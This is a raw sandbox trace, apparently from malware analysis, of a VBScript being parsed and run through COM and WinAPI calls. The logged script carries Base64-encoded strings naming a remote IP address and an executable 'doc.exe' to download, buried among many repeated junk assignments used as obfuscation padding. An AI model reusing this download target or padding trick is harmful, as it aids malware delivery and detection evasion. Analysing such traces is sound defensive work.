\"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"243", pstrItemName=0x0, punkContext=0x0, pstrDelimiter=0x0, dwSourceContextCookie=0x0, ulStartingLineNumber=0x5, dwFlags=0x42, pvarResult=0x0, pexcepinfo=0x0 | out: pvarResult=0x0, pexcepinfo=0x0) returned 0x0 [0087.250] GetCurrentThreadId () returned 0xd44 [0087.250] realloc (_Block=0x0, _Size=0xc8) returned 0x8474be8 [0087.250] ??2@YAPAXI@Z () returned 0x86bfdc0 [0087.250] malloc (_Size=0x804) returned 0x119a768 [0087.260] free (_Block=0x8474be8) [0087.260] VBScriptEngine5:IActiveScript:SetScriptState (This=0x11a99c0, ss=0) returned 0x0 [0087.261] GetUserDefaultLCID () returned 0x409 [0087.261] GetACP () returned 0x4e4 [0087.261] ISystemDebugEventFire:EndSession (This=0x6bcace8) returned 0x0 [0087.261] IUnknown:Release (This=0x6bcace8) returned 0x1 [0087.261] VBScriptEngine5:IUnknown:Release (This=0x83fd504) returned 0x2 [0087.261] IUnknown:Release (This=0x6bcace8) returned 0x0 [0087.261] IActiveScriptSite:GetDocVersionString (in: This=0x83fd4f8, pbstrVersion=0x0 | out: pbstrVersion=0x0) returned 0x80004001 [0087.261] VBScriptEngine5:IUnknown:Release (This=0x83fd4f8) returned 0x1 [0087.261] VBScriptEngine5:IUnknown:Release (This=0x11a99c4) returned 0x2 [0087.272] VBScriptEngine5:IActiveScript:Close (This=0x11a99c0) returned 0x0 [0087.281] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x0 [0087.370] DllGetClassObject (in: rclsid=0xc7d928*(Data1=0xb54f3741, Data2=0x5b07, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xb0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4a, [6]=0x55, [7]=0xe8)), riid=0x66902bf4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x154768 | out: ppv=0x154768*=0x846e118) returned 0x0 [0087.371] ??2@YAPAXI@Z () returned 0x846e118 [0087.371] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x846e118, riid=0x66904714*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x0) returned 0x80004002 [0087.371] VBScriptEngine5:IClassFactory:CreateInstance (in: This=0x846e118, pUnkOuter=0x0, riid=0x66901c58*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154774 | out: ppvObject=0x154774*=0x11a99c0) returned 0x0 [0087.371] ??2@YAPAXI@Z () returned 0x11a99c0 [0087.371] GetUserDefaultLCID () returned 0x409 [0087.371] GetACP () returned 0x4e4 [0087.372] VBScriptEngine5:IUnknown:Release (This=0x846e118) returned 0x0 [0087.372] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x11a99c0, riid=0x66908dc8*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x154798 | out: ppvObject=0x154798*=0x11a99c0) returned 0x0 [0087.372] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x1 [0087.372] VBScriptEngine5:IUnknown:AddRef (This=0x11a99c0) returned 0x2 [0087.372] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x1 [0087.372] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x11a99c0, riid=0x66908a40*(Data1=0xbb1a2ae2, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x846d258 | out: ppvObject=0x846d258*=0x11a99c4) returned 0x0 [0087.372] VBScriptEngine5:IActiveScriptParse32:InitNew (This=0x11a99c4) returned 0x0 [0087.372] VBScriptEngine5:IActiveScript:SetScriptSite (This=0x11a99c0, pass=0x83fd4f8) returned 0x0 [0087.372] GetCurrentThreadId () returned 0xd44 [0087.372] ??2@YAPAXI@Z () returned 0x1186b60 [0087.372] ??2@YAPAXI@Z () returned 0x83fd368 [0087.372] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd4f8, riid=0x6689b67c*(Data1=0x539698a0, Data2=0xcdca, Data3=0x11cf, Data4=([0]=0xa5, [1]=0xeb, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x47, [6]=0xa0, [7]=0x63)), ppvObject=0x1186bb4 | out: ppvObject=0x1186bb4*=0x0) returned 0x80004002 [0087.372] VBScriptEngine5:IUnknown:AddRef (This=0x83fd4f8) returned 0x2 [0087.372] IActiveScriptSite:GetLCID (in: This=0x83fd4f8, plcid=0x154760 | out: plcid=0x154760*=0x800) returned 0x0 [0087.372] GetSystemDefaultLCID () returned 0x409 [0087.373] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x154730, cchData=6 | out: lpLCData="1252") returned 5 [0087.373] IsValidCodePage (CodePage=0x4e4) returned 1 [0087.373] IActiveScriptSite:GetDocVersionString (in: This=0x83fd4f8, pbstrVersion=0x5 | out: pbstrVersion=0x5) returned 0x80004001 [0087.373] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd4f8, riid=0x6689afa4*(Data1=0x51973c11, Data2=0xcb0c, Data3=0x11d0, Data4=([0]=0xb5, [1]=0xc9, [2]=0x0, [3]=0xa0, [4]=0x24, [5]=0x4a, [6]=0xe, [7]=0x7a)), ppvObject=0x11a9b4c | out: ppvObject=0x11a9b4c*=0x83fd504) returned 0x0 [0087.373] VBScriptEngine5:IActiveScriptSiteDebug32:GetApplication (in: This=0x83fd504, ppda=0x11a9b54 | out: ppda=0x11a9b54*=0x0) returned 0x80004001 [0087.373] CoCreateInstance (in: rclsid=0x6689b234*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6689b244*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x11a9b9c | out: ppv=0x11a9b9c*=0x6bcaca0) returned 0x0 [0087.373] IUnknown:AddRef (This=0x6bcaca0) returned 0x2 [0087.373] ISystemDebugEventFire:BeginSession (This=0x6bcaca0, guidSourceID=0x6689b308, strSessionName="VBScript:00003392:00003396:12297746") returned 0x0 [0087.374] VBScriptEngine5:IActiveScriptParse32:ParseScriptText (in: This=0x11a99c4, pstrCode="\r\nfsdfdsfs = \"aHR0UDovLzEzLjkyLjEwMC4yMDgvZG9jL2RvYy5leGU=\" '9vnw9r\r\nyulkytjtrhtjrkdsarjky =\"ZG9jLmV4ZQ==\" '9vnw9r\r\n\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = 